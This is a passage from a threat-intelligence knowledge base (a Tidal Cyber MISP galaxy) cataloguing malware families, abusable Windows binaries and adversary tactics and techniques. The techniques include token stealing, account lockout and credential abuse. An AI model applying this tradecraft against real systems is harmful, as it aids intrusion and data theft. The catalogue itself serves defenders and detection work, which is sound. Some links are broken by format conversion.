[Xbash](https://app.tidalcyber.com/software/ab442140-0761-4227-bd9e-151da5d0a04f) is a malware family that has targeted Linux and Microsoft Windows servers. The malware has been tied to the Iron Group, a threat actor group known for previous ransomware attacks. [Xbash](https://app.tidalcyber.com/software/ab442140-0761-4227-bd9e-151da5d0a04f) was developed in Python and then converted into a self-contained Linux ELF executable by using PyInstaller.^{[[Unit42 Xbash Sept 2018](https://app.tidalcyber.com/references/21b890f7-82db-4840-a05e-2155b8ddce8c)]}

The tag is: *misp-galaxy:software="Xbash"*

xCaon

[xCaon](https://app.tidalcyber.com/software/11a0dff4-1dc8-4553-8a38-90a07b01bfcd) is an HTTP variant of the [BoxCaon](https://app.tidalcyber.com/software/d3e46011-3433-426c-83b3-61c2576d5f71) malware family that has used by [IndigoZebra](https://app.tidalcyber.com/groups/988f5312-834e-48ea-93b7-e6e01ee0938d) since at least 2014. [xCaon](https://app.tidalcyber.com/software/11a0dff4-1dc8-4553-8a38-90a07b01bfcd) has been used to target political entities in Central Asia, including Kyrgyzstan and Uzbekistan.^{[[Checkpoint IndigoZebra July 2021](https://app.tidalcyber.com/references/cf4a8c8c-eab1-421f-b313-344aed03b42d)]}^{[[Securelist APT Trends Q2 2017](https://app.tidalcyber.com/references/fe28042c-d289-463f-9ece-1a75a70b966e)]}

The tag is: *misp-galaxy:software="xCaon"*

xCmd

[xCmd](https://app.tidalcyber.com/software/d943d3d9-3a99-464f-94f0-95aa7963d858) is an open source tool that is similar to [PsExec](https://app.tidalcyber.com/software/73eb32af-4bd3-4e21-8048-355edc55a9c6) and allows the user to execute applications on remote systems. ^{[[xCmd](https://app.tidalcyber.com/references/430fc6ef-33c5-4cd8-b785-358e4aae5230)]}

The tag is: *misp-galaxy:software="xCmd"*

xcopy

xcopy is a Windows tool used to copy files and directories, including subdirectories, with a variety of options. According to Microsoft, the `xcopy` command "creates files with the archive attribute set, whether or not this attribute was set in the source file".^{[[xcopy Microsoft](/references/05e01751-ebb4-4b09-be89-4e405ab7e7e4)]}

The tag is: *misp-galaxy:software="xcopy"*

XCSSET

[XCSSET](https://app.tidalcyber.com/software/3672ecfa-20bf-4d69-948d-876be343563f) is a modular macOS malware family delivered through infected Xcode projects and executed when the project is compiled. Active since August 2020, it has been observed installing backdoors, spoofed browsers, collecting data, and encrypting user files. It is composed of SHC-compiled shell scripts and run-only AppleScripts, often hiding in apps that mimic system tools (such as Xcode, Mail, or Notes) or use familiar icons (like Launchpad) to avoid detection.^{[[trendmicro xcsset xcode project 2020](https://app.tidalcyber.com/references/0194bb11-8b97-4d61-8ddb-824077edc7db)]}^{[[April 2021 TrendMicro XCSSET](https://app.tidalcyber.com/references/5249d328-bc9d-563a-8b5b-e0cb3e758cc5)]}^{[[Microsoft March 2025 XCSSET](https://app.tidalcyber.com/references/012e462b-4d49-5d6a-9eea-c7067fc4103b)]}

The tag is: *misp-galaxy:software="XCSSET"*

xdotool

xdotool lets you simulate keyboard input and mouse activity, move and resize windows, etc. It does this using X11's XTEST extension and other Xlib functions.^{[[Free Trial PurpleUrchin](/references/841f397d-d103-56d7-9854-7ce43c684879)]}^{[[Semicomplete April 24 2015](/references/45b3bc6a-bdf4-438b-8c4e-fede969f83a7)]}

The tag is: *misp-galaxy:software="xdotool"*

XLoader

[XLoader](https://app.tidalcyber.com/software/bcae307b-9405-5cb9-83f3-f1b71eb4dc81) is an infostealer malware in use since at least 2016. Previously known and sometimes still referred to as Formbook, [XLoader](https://app.tidalcyber.com/software/bcae307b-9405-5cb9-83f3-f1b71eb4dc81) is a Malware as a Service (MaaS) known for stealing data from web browsers, email clients and File Transfer Protocol (FTP) applications.^{[[Zscaler XLoader 2025](https://app.tidalcyber.com/references/6e4b763e-b9a7-56b4-8d3c-2c080e852eea)]}^{[[ANY.RUN XLoader 2023](https://app.tidalcyber.com/references/54e460e8-5e0d-5f57-9cb0-930e7ffccba3)]}^{[[CheckPoint XLoader 2022](https://app.tidalcyber.com/references/e61986f6-7d9d-561a-9aee-429295fa8109)]}^{[[Acronis XLoader 2021](https://app.tidalcyber.com/references/8a5227e5-9b69-5b37-bb1b-e19344f6a92b)]}^{[[Google XLoader 2017](https://app.tidalcyber.com/references/30849319-b664-5257-9634-b3f9de1bc793)]}

The tag is: *misp-galaxy:software="XLoader"*

Xloader (macOS Variant)

Researchers discovered an updated macOS variant of the XLoader stealer/botnet malware, which is programmed in C and Objective C and signed with an Apple developer signature.^{[[SentinelOne 8 21 2023](/references/fc9b3eac-a638-4b84-92ae-591bc16a845e)]}

The tag is: *misp-galaxy:software="Xloader (macOS Variant)"*

XMRig

XMRig is an open-source tool that uses the resources of the running system to mine Monero cryptocurrency. According to U.S. cybersecurity authorities, "XMRig can cause a victim computer to overheat and perform poorly by using additional system resources that would otherwise not be active".^{[[U.S. CISA Trends June 30 2020](/references/b97e9a02-4cc5-4845-8058-0be4c566cd7c)]}

The tag is: *misp-galaxy:software="XMRig"*

Xpack

According to joint Cybersecurity Advisory AA23-250A (September 2023), Xpack is a malicious, "custom .NET loader that decrypts (AES), loads, and executes accompanying files".^{[[U.S. CISA Zoho Exploits September 7 2023](/references/6bb581e8-ed0e-41fe-bf95-49b5d11b4e6b)]}

The tag is: *misp-galaxy:software="Xpack"*

xsd

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: XML Schema Definition Tool included with the Windows Software Development Kit (SDK).

Author: Avihay Eldad

Paths: * C:\Program Files (x86)\Microsoft SDKs\Windows\<version>\bin\NETFX <version> Tools\xsd.exe

Resources: None Provided

Detection: * IOC: URL on a xsd.exe command line * IOC: xsd.exe making unexpected network connections or DNS requests<sup>[[xsd.exe - LOLBAS Project](/references/2f39d112-e777-4d87-

9674-38a426b2cf34)]</sup>

The tag is: *misp-galaxy:software="xsd"*

XTunnel

[XTunnel](https://app.tidalcyber.com/software/133136f0-7254-4cec-8710-0ab99d5da4e5) a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by [APT28](https://app.tidalcyber.com/groups/5b1a5b9e-4722-41fc-a15d-196a549e3ac5) during the compromise of the Democratic National Committee. ^{[[Crowdstrike DNC June 2016](https://app.tidalcyber.com/references/7f4edc06-ac67-4d71-b39c-5df9ce521bbb)]} ^{[[Invincea XTunnel](https://app.tidalcyber.com/references/43773784-92b8-4722-806c-4b1fc4278bb0)]} ^{[[ESET Sednit Part 2](https://app.tidalcyber.com/references/aefb9eda-df5a-437f-af2a-ec1b6c04628b)]}

The tag is: *misp-galaxy:software="XTunnel"*

Xwizard

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Execute custom class that has been added to the registry or download a file with Xwizard.exe

Author: Oddvar Moe

Paths: * C:\Windows\System32\xwizard.exe * C:\Windows\SysWOW64\xwizard.exe

Resources: * http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/ * https://www.youtube.com/watch?v=LwDHX7DVHWU * https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5 * https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/ * https://twitter.com/notwhickey/status/1306023056847110144

Detection: * Sigma: [proc_creation_win_lolbin_class_exec_xwizard.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_class_exec_xwizard.yml) * Sigma: [proc_creation_win_lolbin_dll_sideload_xwizard.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_dll_sideload_xwizard.yml) * Elastic: [execution_com_object_xwizard.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/

execution_com_object_xwizard.toml) * Elastic: [defense_evasion_unusual_process_network_connection.toml]([Xwizard.exe - LOLBAS Project(/references/573df5d1-83e7-4437-bdad-604f093b3cfd)]</sup>

The tag is: *misp-galaxy:software="Xwizard"*

Xworm

XWorm is a Remote Access Trojan (RAT)/Backdoor malware.

The tag is: *misp-galaxy:software="Xworm"*

YAHOYAH

[YAHOYAH](https://app.tidalcyber.com/software/0844bc42-5c29-47c3-b1b3-6bfffbf1732a) is a Trojan used by [Tropic Trooper](https://app.tidalcyber.com/groups/0a245c5e-c1a8-480f-8655-bb2594e3266b) as a second-stage backdoor.^{[[TrendMicro TropicTrooper 2015](https://app.tidalcyber.com/references/65d1f980-1dc2-4d36-8148-2d8747a39883)]}

The tag is: *misp-galaxy:software="YAHOYAH"*

YouieLoad

YouieLoad is an intermediate-stage malware used by the North Korean threat actor Moonstone Sleet mainly for payload execution purposes. It is also capable of performing system reconnaissance.^{[[Microsoft Security Blog 5 28 2024](/references/faf315ed-71f7-4e29-8334-701da35a69ad)]}

The tag is: *misp-galaxy:software="YouieLoad"*

yty

[yty](https://app.tidalcyber.com/software/e0962ff7-5524-4683-9b95-0e4ba07dccb2) is a modular, plugin-based malware framework. The components of the framework are written in a variety of programming languages. ^{[[ASERT Donot March 2018](https://app.tidalcyber.com/references/a1b987cc-7789-411c-9673-3cf6357b207c)]}

The tag is: *misp-galaxy:software="yty"*

yum-versionlock

yum-versionlock is a Yum plugin that takes a set of name/versions for packages and excludes all other versions of those packages (including optionally following obsoletes). This allows you to protect packages from being updated by newer versions.^{[[Man7.org December 28 2009](/references/332344c1-cfa5-4648-8e09-394b15725098)]}

The tag is: *misp-galaxy:software="yum-versionlock"*

Zebrocy

[Zebrocy](https://app.tidalcyber.com/software/e317b8a6-1722-4017-be33-717a5a93ef1c) is a Trojan that has been used by [APT28](https://app.tidalcyber.com/groups/5b1a5b9e-4722-41fc-a15d-196a549e3ac5) since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, VB.NET, and Golang. ^{[[Palo Alto Sofacy 06-2018](https://app.tidalcyber.com/references/a32357eb-3226-4bee-aeed-d2fbcfa52da0)]}^{[[Unit42 Cannon Nov 2018](https://app.tidalcyber.com/references/8c634bbc-4878-4b27-aa18-5996ec968809)]}^{[[Unit42 Sofacy Dec 2018](https://app.tidalcyber.com/references/540c4c33-d4c2-4324-94cd-f57646666e32)]}^{[[CISA Zebrocy Oct 2020](https://app.tidalcyber.com/references/b7518c4d-6c10-43d2-8e57-d354fb8d4a99)]}

The tag is: *misp-galaxy:software="Zebrocy"*

Zeppelin Ransomware

Zeppelin is a ransomware derived from the Vega family of Delphi-based malware. Used from 2019 through at least June 2022, Zeppelin was distributed as ransomware-as-a-service ("RaaS").^{[[U.S. CISA Zeppelin Ransomware August 11 2022](/references/42d98de2-8c9a-4cc4-b5a1-9778c0da3286)]}

The tag is: *misp-galaxy:software="Zeppelin Ransomware"*

Zeroaccess

[Zeroaccess](https://app.tidalcyber.com/software/2f52b513-5293-4833-9c4d-b120e7a84341) is a kernel-mode [Rootkit](https://app.tidalcyber.com/technique/cf2b56f6-3ebd-48ec-b9d9-835397acef89) that attempts to add victims to the ZeroAccess botnet, often for monetary gain. ^{[[Sophos ZeroAccess](https://app.tidalcyber.com/references/41b51767-62f1-45c2-98cb-47c44c975a58)]}

The tag is: *misp-galaxy:software="Zeroaccess"*

ZeroCleare

[ZeroCleare](https://app.tidalcyber.com/software/ba5668b0-18fe-513f-b3a7-93e16243d185) is a wiper malware that has been used in conjunction with the [RawDisk](https://app.tidalcyber.com/software/d86a562d-d235-4481-9a3f-273fa3ebe89a) driver since at least 2019 by suspected Iran-nexus threat actors including activity targeting the energy and industrial sectors in the Middle East and political targets in Albania.^{[[Microsoft Albanian Government Attacks September 2022](https://app.tidalcyber.com/references/d00399e9-a6c6-5691-92cd-0185b03b689e)]}^{[[CISA Iran Albanian Attacks September 2022](https://app.tidalcyber.com/references/c5d37bde-52bc-525a-b25a-e097f77a924a)]}^{[[Mandiant ROADSWEEP August 2022](https://app.tidalcyber.com/references/0d81ec58-2e12-5824-aa53-feb0d2260f30)]}^{[[IBM ZeroCleare Wiper December 2019](https://app.tidalcyber.com/references/26ba5292-265d-5db4-a571-215c984fe095)]}

The tag is: *misp-galaxy:software="ZeroCleare"*

ZeroT

[ZeroT](https://app.tidalcyber.com/software/f51df90e-ea1b-4eeb-9aff-ec5abf4a5dfd) is a Trojan used by [TA459](https://app.tidalcyber.com/groups/e343c1f1-458c-467b-bc4a-c1b97b2127e3), often in conjunction with [PlugX](https://app.tidalcyber.com/software/070b56f4-7810-4dad-b85f-bdfce9c08c10). ^{[[Proofpoint TA459 April 2017](https://app.tidalcyber.com/references/dabad6df-1e31-4c16-9217-e079f2493b02)]} ^{[[Proofpoint ZeroT Feb 2017](https://app.tidalcyber.com/references/63787035-f136-43e1-b445-22853bbed92b)]}

The tag is: *misp-galaxy:software="ZeroT"*

Zeus Panda

[Zeus Panda](https://app.tidalcyber.com/software/be8add13-40d7-495e-91eb-258d3a4711bc) is a Trojan designed to steal banking information and other sensitive credentials for exfiltration. [Zeus Panda](https://app.tidalcyber.com/software/be8add13-40d7-495e-91eb-258d3a4711bc)'s original source code was leaked in 2011, allowing threat actors to use its source code as a basis for new malware variants. It is mainly used to target Windows operating systems ranging from Windows XP through Windows 10.^{[[Talos Zeus Panda Nov 2017](https://app.tidalcyber.com/references/f96711d4-010d-4d7e-8074-31dd1b41c54d)]}^{[[GDATA Zeus Panda June 2017](https://app.tidalcyber.com/references/2d9a6957-5645-4863-968b-4a3c8736564b)]}

The tag is: *misp-galaxy:software="Zeus Panda"*

Zipfldr

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Compressed Folder library

Author: LOLBAS Team

Paths: * c:\windows\system32\zipfldr.dll * c:\windows\syswow64\zipfldr.dll

Resources: * https://twitter.com/moriarty_meng/status/977848311603380224 * https://twitter.com/bohops/status/997896811904929792 * https://windows10dll.nirsoft.net/zipfldr_dll.html

Detection: * Sigma: [proc_creation_win_rundll32_susp_activity.yml]([Zipfldr.dll - LOLBAS Project(/references/3bee0640-ea48-4164-be57-ac565d8cbea7)]</sup>

The tag is: *misp-galaxy:software="Zipfldr"*

ZIPLINE

[ZIPLINE](https://app.tidalcyber.com/software/976a7797-3008-5316-9e28-19c9a05959d0) is a passive backdoor that was used during [Cutting Edge](https://app.tidalcyber.com/campaigns/4e605e33-57fe-5bb2-b0ad-ec146aac041b) on compromised Secure Connect VPNs for reverse shell and proxy functionality.^{[[Mandiant Cutting Edge January 2024](https://app.tidalcyber.com/references/9d9ec923-89c1-5155-ae6e-98d4776d4250)]}

The tag is: *misp-galaxy:software="ZIPLINE"*

ZLib

[ZLib](https://app.tidalcyber.com/software/1ac8d363-2903-43da-9c1d-2b28179638c8) is a full-featured backdoor that was used as a second-stage implant during [Operation Dust Storm](https://app.tidalcyber.com/campaigns/af0c0f55-dc4f-4cb5-9350-3a2d7c07595f) since at least 2014. [ZLib](https://app.tidalcyber.com/software/1ac8d363-2903-43da-9c1d-2b28179638c8) is malware and should not be confused with the legitimate compression library from which its name is derived.^{[[Cylance Dust Storm](https://app.tidalcyber.com/references/001dd53c-74e6-4add-aeb7-da76b0d2afe8)]}

The tag is: *misp-galaxy:software="ZLib"*

Zloader

Zloader originated in 2016 as a modular banking trojan based on the popular Zeus malware. It has evolved in the years since to be used as an important distribution mechanism for various other malware, including ransomware.^{[[WeLiveSecurity April 19 2022](/references/f86845b9-03c4-446b-845f-b31b79b247ee)]}

This object represents a collection of MITRE ATT&CK® Techniques associated with Zloader binaries. Techniques used by various actors to distribute Zloader can be found in the separate "Zloader Threat Actors" Group object.

The tag is: *misp-galaxy:software="Zloader"*

Zoho Assist

Zoho Assist is a legitimate administration tool that multiple prominent adversaries have abused to carry out remote activity on victim systems.^{[[Sygnia Luna Moth July 1 2022](/references/115590b2-ab57-432c-900e-000627464a11)]}^{[[U.S. CISA LockBit Citrix Bleed November 21 2023](/references/21f56e0c-9605-4fbb-9cb1-f868ba6eb053)]}^{[[Unit 42 9 15 2023](/references/5e9842ae-180f-4645-a5f5-5ddfb8b2d810)]}

The tag is: *misp-galaxy:software="Zoho Assist"*

Zox

[Zox](https://app.tidalcyber.com/software/75dd9acb-fcff-4b0b-b45b-f943fb589d78) is a remote access tool that has been used by [Axiom](https://app.tidalcyber.com/groups/90f4d3f9-3fe3-4a64-8dc1-172c6d037dca) since at least 2008.^{[[Novetta-Axiom](https://app.tidalcyber.com/references/0dd428b9-849b-4108-87b1-20050b86f420)]}

The tag is: *misp-galaxy:software="Zox"*

zwShell

[zwShell](https://app.tidalcyber.com/software/49314d4e-dc04-456f-918e-a3bedfc3192a) is a remote access tool (RAT) written in Delphi that has been seen in the wild since the spring of 2010 and used by threat actors during [Night Dragon]([McAfee Night Dragon(https://app.tidalcyber.com/references/242d2933-ca2b-4511-803a-454727a3acc5)]</sup>

The tag is: *misp-galaxy:software="zwShell"*

ZxShell

[ZxShell](https://app.tidalcyber.com/software/eea89ff2-036d-4fa6-bbed-f89502c62318) is a remote administration tool and backdoor that can be downloaded from the Internet, particularly from Chinese hacker websites. It has been used since at least 2004.^{[[FireEye APT41 Aug 2019](https://app.tidalcyber.com/references/20f8e252-0a95-4ebd-857c-d05b0cde0904)]}^{[[Talos ZxShell Oct 2014](https://app.tidalcyber.com/references/41c20013-71b3-4957-98f0-fb919014c93e)]}

The tag is: *misp-galaxy:software="ZxShell"*

ZxxZ

[ZxxZ](https://app.tidalcyber.com/software/91e1ee26-d6ae-4203-a466-93c9e5019b47) is a trojan written in Visual C++ that has been used by [BITTER](https://app.tidalcyber.com/groups/3a02aa1b-851a-43e1-b83b-58037f3c7025) since at least August 2021, including against Bangladeshi government personnel.^{[[Cisco Talos Bitter Bangladesh May 2022](https://app.tidalcyber.com/references/097583ed-03b0-41cd-bf85-66d473f46439)]}

The tag is: *misp-galaxy:software="ZxxZ"*

Tidal Tactic

Tidal Tactic Cluster.

Tidal Tactic is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Tidal Cyber

Reconnaissance

The adversary is trying to gather information they can use to plan future operations.

Reconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting. Such information may include details of the victim organization, infrastructure, or staff/personnel. This information can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using gathered information to plan and execute Initial Access, to scope and prioritize post-compromise objectives, or to drive and lead further Reconnaissance efforts.

The tag is: *misp-galaxy:tactic="Reconnaissance"*

Resource Development

The adversary is trying to establish resources they can use to support operations.

Resource Development consists of techniques that involve adversaries creating, purchasing, or compromising/stealing resources that can be used to support targeting. Such resources include infrastructure, accounts, or capabilities. These resources can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using purchased domains to support Command and Control, email accounts for phishing as a part of Initial Access, or stealing code signing certificates to help with Defense Evasion.

The tag is: *misp-galaxy:tactic="Resource Development"*

Initial Access

The adversary is trying to get into your network.

Initial Access consists of techniques that use various entry vectors to gain their initial foothold within a network. Techniques used to gain a foothold include targeted spearphishing and exploiting weaknesses on public-facing web servers. Footholds gained through initial access may allow for continued access, like valid accounts and use of external remote services, or may be limited-use due to changing passwords.

The tag is: *misp-galaxy:tactic="Initial Access"*

Execution

The adversary is trying to run malicious code.

Execution consists of techniques that result in adversary-controlled code running on a local or remote system. Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data. For example, an

adversary might use a remote access tool to run a PowerShell script that does Remote System Discovery.

The tag is: *misp-galaxy:tactic="Execution"*

Persistence

The adversary is trying to maintain their foothold.

Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems, such as replacing or hijacking legitimate code or adding startup code.

The tag is: *misp-galaxy:tactic="Persistence"*

Privilege Escalation

The adversary is trying to gain higher-level permissions.

Privilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include:

- SYSTEM/root level
- local administrator
- user account with admin-like access
- user accounts with access to specific system or perform specific function

These techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context.

The tag is: *misp-galaxy:tactic="Privilege Escalation"*

Defense Evasion

The adversary is trying to avoid being detected.

Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics' techniques are cross-listed here when those techniques include the added benefit of subverting defenses.

The tag is: *misp-galaxy:tactic="Defense Evasion"*

Credential Access

The adversary is trying to steal account names and passwords.

Credential Access consists of techniques for stealing credentials like account names and passwords. Techniques used to get credentials include keylogging or credential dumping. Using legitimate credentials can give adversaries access to systems, make them harder to detect, and provide the opportunity to create more accounts to help achieve their goals.

The tag is: *misp-galaxy:tactic="Credential Access"*

Discovery

The adversary is trying to figure out your environment.

Discovery consists of techniques an adversary may use to gain knowledge about the system and internal network. These techniques help adversaries observe the environment and orient themselves before deciding how to act. They also allow adversaries to explore what they can control and what's around their entry point in order to discover how it could benefit their current objective. Native operating system tools are often used toward this post-compromise information-gathering objective.

The tag is: *misp-galaxy:tactic="Discovery"*

Lateral Movement

The adversary is trying to move through your environment.

Lateral Movement consists of techniques that adversaries use to enter and control remote systems on a network. Following through on their primary objective often requires exploring the network to find their target and subsequently gaining access to it. Reaching their objective often involves pivoting through multiple systems and accounts to gain. Adversaries might install their own remote access tools to accomplish Lateral Movement or use legitimate credentials with native network and operating system tools, which may be stealthier.

The tag is: *misp-galaxy:tactic="Lateral Movement"*

Collection

The adversary is trying to gather data of interest to their goal.

Collection consists of techniques adversaries may use to gather information and the sources information is collected from that are relevant to following through on the adversary's objectives. Frequently, the next goal after collecting data is to either steal (exfiltrate) the data or to use the data to gain more information about the target environment. Common target sources include various drive types, browsers, audio, video, and email. Common collection methods include capturing screenshots and keyboard input.

The tag is: *misp-galaxy:tactic="Collection"*

Command and Control

The adversary is trying to communicate with compromised systems to control them.

Command and Control consists of techniques that adversaries may use to communicate with systems under their control within a victim network. Adversaries commonly attempt to mimic normal, expected traffic to avoid detection. There are many ways an adversary can establish command and control with various levels of stealth depending on the victim's network structure and defenses.

The tag is: *misp-galaxy:tactic="Command and Control"*

Exfiltration

The adversary is trying to steal data.

Exfiltration consists of techniques that adversaries may use to steal data from your network. Once they've collected data, adversaries often package it to avoid detection while removing it. This can include compression and encryption. Techniques for getting data out of a target network typically include transferring it over their command and control channel or an alternate channel and may also include putting size limits on the transmission.

The tag is: *misp-galaxy:tactic="Exfiltration"*

Impact

The adversary is trying to manipulate, interrupt, or destroy your systems and data.

Impact consists of techniques that adversaries use to disrupt availability or compromise integrity by manipulating business and operational processes. Techniques used for impact can include destroying or tampering with data. In some cases, business processes can look fine, but may have been altered to benefit the adversaries' goals. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach.

The tag is: *misp-galaxy:tactic="Impact"*

Tidal Technique

Tidal Technique Cluster.

Tidal Technique is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Tidal Cyber

Abuse Elevation Control Mechanism

Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk.^{[[TechNet How UAC Works](https://app.tidalcyber.com/references/bbf8d1a3-115e-4bc8-be43-47ce3b295d45)]}^{[[sudo man page 2018](https://app.tidalcyber.com/references/659d4302-d4cf-41af-8007-aa1da0208aa0)]} An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.^{[[OSX Keydnap malware](https://app.tidalcyber.com/references/d43e0dd1-0946-4f49-bcc7-3ef38445eac3)]}^{[[Fortinet Fareit](https://app.tidalcyber.com/references/d06223d7-2d86-41c6-af23-50865a1810c0)]}

The tag is: *misp-galaxy:technique="Abuse Elevation Control Mechanism"*

Access Token Manipulation

Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.

An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://app.tidalcyber.com/technique/ab823cbf-0238-4347-a191-a90d84b978f7)) or used to spawn a new process (i.e. [Create Process with Token](https://app.tidalcyber.com/technique/ef0e0599-6543-499d-8409-ef449da5c38a)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.^{[[Pentestlab Token Manipulation](https://app.tidalcyber.com/references/243deb44-4d47-4c41-bd5d-262c4319cce5)]}

Any standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.

The tag is: *misp-galaxy:technique="Access Token Manipulation"*

Account Access Removal

Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://app.tidalcyber.com/technique/24787dca-6afd-4ab3-ab6c-32e9486ec418) to set malicious changes into place.^{[[CarbonBlack LockerGoga 2019](https://app.tidalcyber.com/references/9970063c-6df7-4638-a247-6b1102289372)]}^{[[Unit42 LockerGoga 2019](https://app.tidalcyber.com/references/8f058923-f2f7-4c0e-b90a-c7a0d5e62186)]}

In Windows, [Net](https://app.tidalcyber.com/software/c9b8522f-126d-40ff-b44e-1f46098bd8cc) utility, <code>Set-LocalUser</code> and <code>Set-ADAccountPassword</code> [PowerShell](https://app.tidalcyber.com/technique/6ca7838a-e8ad-43e8-9da6-15b640d1cbde) cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the <code>passwd</code> utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`).

Adversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://app.tidalcyber.com/technique/e5016c2b-85fe-4e6b-917d-0dd5b441cc34) and [Defacement](https://app.tidalcyber.com/technique/9a21c7c7-cf8e-4f05-b196-86ec39653e3b), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://app.tidalcyber.com/technique/f0c36d24-263c-4811-8784-f716c77ec6b3) objective.

The tag is: *misp-galaxy:technique="Account Access Removal"*

Account Discovery

Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406)).

Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.

For examples, cloud environments typically provide easily accessible interfaces to obtain user lists.^{[[AWS List Users](https://app.tidalcyber.com/references/517e3d27-36da-4810-b256-3f47147b36e3)]}^{[[Google Cloud - IAM Servie Accounts List API](https://app.tidalcyber.com/references/3ffad706-1dac-41dd-b197-06f22fec3b30)]} On hosts, adversaries can use default [PowerShell](https://app.tidalcyber.com/technique/6ca7838a-e8ad-43e8-9da6-15b640d1cbde) and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system's files.

The tag is: *misp-galaxy:technique="Account Discovery"*

Account Manipulation

Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.^{[[FireEye SMOKEDHAM June 2021](https://app.tidalcyber.com/references/a81ad3ef-fd96-432c-a7c8-ccc86d127a1b)]} These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.

In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406).

The tag is: *misp-galaxy:technique="Account Manipulation"*

Acquire Access

Adversaries may purchase or otherwise acquire an existing access to a target system or network. A variety of online services and initial access broker networks are available to sell access to previously compromised systems.^{[[Microsoft Ransomware as a Service](https://app.tidalcyber.com/references/833018b5-6ef6-5327-9af5-1a551df25cd2)]}^{[[CrowdStrike Access Brokers](https://app.tidalcyber.com/references/0f772693-e09d-5c82-85c2-77f5fee39ef0)]}^{[[Krebs Access Brokers Fortune 500](https://app.tidalcyber.com/references/37d237ae-f0a8-5b30-8f97-d751c1560391)]} In some cases, adversary groups may form partnerships to share compromised systems with each other.^{[[CISA Karakurt 2022](https://app.tidalcyber.com/references/5a9a79fa-532b-582b-9741-cb732803cd22)]}

